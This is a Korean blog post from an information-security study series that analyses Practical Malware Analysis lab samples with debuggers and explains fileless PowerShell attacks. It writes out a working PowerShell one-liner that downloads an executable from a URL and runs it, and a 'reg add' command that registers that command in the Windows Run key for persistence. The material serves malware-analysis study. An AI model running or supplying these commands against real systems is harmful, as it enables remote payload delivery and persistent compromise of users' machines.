wonder

정보보안 스터디 - 20주차 2일 - 악성파일 분석 상세연구3 본문

Security/리버싱

정보보안 스터디 - 20주차 2일 - 악성파일 분석 상세연구3

wonder12 2023. 2. 24. 22:19

 

☞ Lab03-04.exe

 

olly에서

arguments를 -re 했을 때는 기능하는 건

파일제거

레지스트리 데이터 값 제거

서비스 제거

를 합니다.

 

확인해보면

윈도우 서비스에 

Lab03-04 Manager Service 가 제거되었습니다.

regdeletevalueA

또한 윈도우 레지스트리에서는 

키를 삭제한 것은 아니고 configuration이라는 문자열 값만 삭제되었습니다. 

 

 

-in 을 했을 때는 등록

XPS키에 configuration 문자열 값으로 ups.http://www.practicalmalwareanalysis.com.80.60 데이터를 등록합니다.

 

 

 

-c, -cc도 마찬가지로 진행합니다.

 

-c 일 때는 

비교해서 인자값 

아니라면 삭제

맞다면 create합니다.

 

-cc는 포맷 스트링 퍼센트를 표시합니다.

 

 

 

 

 

 

Lab06

 

Lab06은 단계적으로 기능이 추가되면서

어떤 기능이 추가되었는지, 차이점을 분석하는 단계입니다.

 

Lab06-01.exe

과정을 살펴보면

 

PEview

2011년도에 생성된 파일입니다.

dependency walker

dll, 함수를 보며 어떤 기능을 하는 악성파일일지 예측해봅니다.

이 때 중요한 점은 파일, 디렉토리 관련된 함수 먼저 위주로 봐야합니다.

writefile이나

copyfile

 

파일을 쓰고, 프로로세스 종료

heap 동적 메모리 (별로 중요하지 않음)

가 있습니다.

 

wininet.dll

internetgetconnectedstate

인터넷 연결이 되는지 체크합니다.

 

strings

메세지 박스를 띄울 것 같습니다.

인터넷 연결 성공,에러 메세지를 보냅니다. 

 

virustotal 및 pestudio 

전체적으로 디테일을 확인하여 추가적인 정보를 얻을 건 얻습니다.

 

sysanalyzer 는 쓸 필요가 없을 것 같습니다.

cmd에서 바로 실행되고 그 외에 눈에 안보이는 기능은 없기 때문에

생략합니다.

 

정확한 기능은 

IDA, olly를 실행하면서 분석해봅니다.

 

연결되면 
eax 1 true
연결안되면
eax 0 false

리턴값을 줍니다.

즉 연결되었다면 다음 함수로 넘어가지만

실패되었다면 점프하여 메인함수를 끝냅니다.

 

push offset success/error

call printf 함수 

메세지를 띄웁니다.

 

 

 

Lab06-02.exe

비슷하긴한데 

인터넷 연결확인 후 

internetopenA
user-agent 정보 준 후 
internetopenurlA
주소로가서
internetreadfile
파일을 요청해 읽기까지 합니다.

 

strings

주소는 www.~ 로 들어갑니다. (참고로 실제 악성 사이트가 막혔기 때문에 win7에서 hosts로 바꿔놔서 같은 이름의 도메인을 제공하게 하며 실제로는 로컬호스트에서 만든 파일입니다. > hfs)

해당 도메인의 /cc.htm이라는 파일을 읽어옵니다.

위의 과정에서 성공/실패 시 각각 메세지가 뜹니다. (파일이 오픈되었는지 등)

 

 

olly에서 봤을 때

cc.htm 읽어오는데 성공하면

오른쪽으로 점프하여 파일의 edx 문자열을 비교합니다.

16진수로 보니 <,!,-,- 가 연속으로 나와야합니다.

 

<!--x 로 편집하고 저장하면

command is X라고 메세지가 완성됩니다.

 

 

 

 

Lab06-03.exe

advapi32.dll에서 

레지스트리를 등록하고 있습니다. 

 

regopenkeyExA

기존에 키를 열어서 

regsetvalueExA

값을 등록합니다.

 

기능적으로는

5번째 문자에 따라서 리턴값이 달라서 점프하며 기능이 바뀝니다.

 

strings에서

파일 복사하고

디렉토리 생성,

파일 삭제 등 

많아졌다했더니 이것 때문이였습니다.

 

그래프를 따라서 분석해보니

파일에 있는 <!--의 문자가 들어가야 하며  (16진수를 우클릭해서 ascii코드로 봤을 때 문자이기 때문입니다)

이후 5번째 글자는 %c이므로 한글자만 command is ?로 표시됩니다.

기존 X은 ascii코드 58 이므로 음수는 코드상으로 FFFFFF?로 뜨기 때문에 값이 너무 커져서

유효하지 않은 command로 점프하게 됩니다.

 

 

16진수로 61h 즉 ascii a와 같은지 비교를 합니다.

 

a라면 61

b라면 62

c라면 63

d라면 64

..

식입니다.

 

 

결국 sub ?, 61 을 하여 비교 후 ja로 비교하므로

0>4 이며 

점프하지 않습니다.

 

ds edx*4+주소

어짜피 edx 값은 0이므로 

0에 맞는 메모리상에서 확인할 수 있는데

첫번째 4바이트의 주소로 가게 됩니다.

 

따라서 그래프를 따라가보면 a는 temp디렉토리 생성의 기능을합니다.

 

 

b일 경우에는

1>4 

ds 1*4+ 주소 이므로

2번째 4바이트를 주소로 점프합니다.

cc.exe 파일을 생성합니다.

 

c는 

2>4

cc.exe를 삭제합니다.

 

d는

3>4

regopenkeyExA
regsetvalueExA

Run키에 레지스트리 값 등록합니다.

 

값이 a,b,c,d, 냐에 따라

각자 실행하는 기능(함수)가 다릅니다.

temp디렉토리를 생성하고

파일을 복사하고

레지스트리에 등록하고

제거하고

 

 

 

 

Lab06-04.exe

여기서 06-03과 다른점을 찾는 것이 중요합니다.

기초 분석까지는 함수추가도 안보이고

똑같은 것 같아보입니다. 

 

IDA, ollydbg 분석을 통해 

IDA 그래프를 보면 확인해볼 수 있는데

 

반복문이 추가되었습니다.

5A0hex=1440 분동안 반복합니다. = 24시간 동안 기능을 하며 루프를 돕니다.

 

6만 밀리세컨드 즉 60초=1분 동안 sleep 딜레이를 하고 

mov> cmp로 넘어가기 때문에

 

1분 후에 다시 같은 동작을 반복한다고 볼 수 있습니다.

값이 추가되거나 기능이 달라지는 것은 없습니다. 

 

 

결국 이 악성파일은

실행파일 자체가 나쁘진 않지만

봇넷의 역할을 하고 있습니다.

만약 가져오는 실행파일이 TCP연결을 반복하는 파일이였다면

DOS공격으로 이어질 가능성이 가장 큽니다.

 

 

 

 

 파워쉘

대부분의 요즘 파일리스 문서를 이용한 파일리스 공격이기 때문에

많이 사용하고 파일리스는 백신에 예전에는 안걸렸지만 요즘에는 잡을 수 있습니다. 하지만 그래도 일반 PE파일로 된 악성파일보다는 잡기가 까다로운 것은 사실입니다.

 

bat 형식의 파일로 이루어지며

bat형식은 실행하자마자 cmd 창으로 실행됩니다.

cmd에서 powershell이라고 치면 바로 powershell 프롬프트로 변하는 걸 보면

cmd에서의 powershell (~) 바로 명령어를 실행할 수 있습니다.

 

테스트 실행을 위해서 bat파일로 만들어놓았긴하지만 

 실제로는 워드, 파워포인트, 한글의 매크로 기능에 놓고 사용합니다.

 

메모리나 레지스트리에 올려 사용하는 방식입니다. 

 

그러니까 파일리스로 악성 스크립트 코드로만 이루어져있고

 

메모리에 올린다는게 PE파일 실행이랑 뭐가 다른건지 모르겠지만

아마 bat파일 대신 워드 파일의 악성 코드를 실행하는 것이기 때문에

실행파일과는 다르다는 말인 것 같습니다.

 

 

파워쉘은 주요 명령어는 알아두는 것이 좋습니다.

공격에 사용하는 명령어가 따로 있습니다.

-Command(-c, -com) 
명령어를 실행
downloadFile
파일을 다운로드
downloadstring

원격의 코드를 메모리에 다운로드
System.Net.WebClient
다른시스템과 통신
즉 인터넷에 연결하여 인터넷의 파일을 다운받아올 때 사용합니다.
Invoke-Command(ICM)
로컬 시스템에서 명령어 실행
-Windowstyle hidden(-w hidden)
윈도우 콘솔창 숨김
shellexecute
로 파일을 실행할 수 있습니다.

 

 

 

예시 1)

PowerShell (New-Object System.Net.WebClient).DownloadFile('https://wonder.tistory.com/attachment/file1.exe','c:\putty.exe');(New-Object -com Shell.Application).ShellExecute('c:\putty.exe'); 
system.net.webclient

처음에는 웹사이트에서 악성파일.exe 를 C:\putty.exe C 드라이브에 putty.exe 라는 파일로받아놓습니다.

그걸 실행시키는 것이기 때문에

파일은 temp에 남아있고 그걸 실행시킵니다.

 

procexp를 보면

bat = cmd > powershell > putty.exe 부모/자식 관계로 실행되는 걸 볼 수 있습니다.

 

sysanalyzer로 확인하면

실행된 로그가 뜨고

cmdline으로도 커맨드가 나옵니다.

capture를 확인하면 tcp syn 3way하고 ssl이라 내용은 안보이지만 가져옵니다. 

 

 

예시 2)

이 다운된 파일을 레지스트리에 추가하여 자동으로 실행하게끔 해보겠습니다.

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Malservice /t REG_SZ /d "cmd /c PowerShell (New-Object -com Shell.Application).ShellExecute('c:\putty.exe');"

 

reg add는 애초에 cmd 명령어 였기 때문에 바로 사용할 수 있습니다.

바로 코드를 실행시키는 것이 아니라 재부팅하면 자동으로 실행하도록 레지스트리에 등록해둡니다.

또한 원래는 어떤 exe파일(PE파일)을 등록하는것이였다면 지금 보이는 것은 커맨드 자체를 등록하는 방식입니다.

 

그냥 실행해서 regedit 레지스트리를 확인해보면 등록되어있는 것을 볼 수 있습니다.

근데 여기서 sysanalyzer로 실행하게 되면 64비트인 윈도우 운영체제와 32비트인 프로그램이 아마 충돌하여

레지스트리가 microsoft가 아닌 wow6432node\microsoft로 등록되게 됩니다.

그래서 그냥 이때는 그냥 실행하도록 합니다.

 

실제로 등록된 경로는

reg shot의 compare > 보고서로 확인하는 게 실제로 적용된 것입니다. 

 

원래는 실행했을 때 눈에 보이지 않는 악성파일이기 때문에 sysanalyzer로 reg monitor 로 레지스트리 등록된 것을 보는 것과 regshot으로 동시에 정확히 확인하는 것이 정석이지만 오류가 뜨기 때문에 sysanalyzer는 생략하겠습니다.

 

 Run 키에 등록된 값은 cmd /c ~ C:\putty.exe 입니다.

 

재시작하여 확인합니다.

 

 

 

 

 

7-1) 이틀 전에 배운 걸 복습해보자면 

 

strings에서 확인하고 IDA 종합적인 분석을 해보면

writefile로 

파일을 씁니다.

 

mutex HGL345 문자열이 보입니다.

mutex를 오픈하고 만듭니다.

중복 실행 방지입니다.

 

createthread 실행입니다.

 

타이머를 사용하여 2100년까지 tcp연결을 계속 반복합니다.

 

인터넷 user-agent적고
url로 접속합니다. 접속만 하고 파일은 안읽어옵니다.

 

sysanalyzer는 Wireshark 패킷 캡쳐도 하기 때문에 네트워크 통신을 한다면 확인해봅시다.

하지만 그냥 파일을 읽어오는 게 없어서 3way handshaking만 진행하고 (TCP연결만하고) 

파일을 요청하고 주고받는게 보이지 않습니다.

 

 

 

 

openSCManagerA

getcurrentprocess

createserviceA

자기 자신을 윈도우 서비스(service.msc)에 자동으로 등록하면

경로는 그 자신이 되고 (C:\악성코드\02_실습\실습-7\Lab07-01.exe )

 

키만 Malservice 인자값으로 넣으면 경로는 자동으로 데이터에 등록되어 

레지스트리까지 등록된다는 점입니다.

 

 

 

 

 

 

 

 

 

 

 

Comments